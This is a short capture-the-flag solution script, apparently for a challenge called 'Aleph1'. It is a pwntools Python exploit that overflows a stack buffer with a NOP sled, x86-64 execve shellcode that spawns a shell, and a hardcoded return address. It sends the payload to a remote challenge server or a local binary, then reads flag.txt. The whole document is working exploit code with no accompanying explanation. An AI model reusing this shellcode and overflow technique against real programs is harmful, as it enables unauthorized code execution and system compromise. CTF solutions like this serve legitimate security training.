Solution to Aleph1

aleph1-solution.py

#!/usr/bin/env python
import sys, time
from pwn import *

REMOTE = len(sys.argv) < 2
STACK_ADDR = 0x7fffffffddd8
SC = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"

if (REMOTE):
  r = remote('35.205.206.137', 1996)
  STACK_ADDR += 3000
else:
  r = process('./vuln')

def main():
  saved_eip = p64(STACK_ADDR)
  r.sendline("\x90" * 0x3E7 + SC + 'SAVEDRBP' + saved_eip)
  r.sendline("cat flag.txt")
  print r.recv(2000)

if __name__ == "__main__":
  main()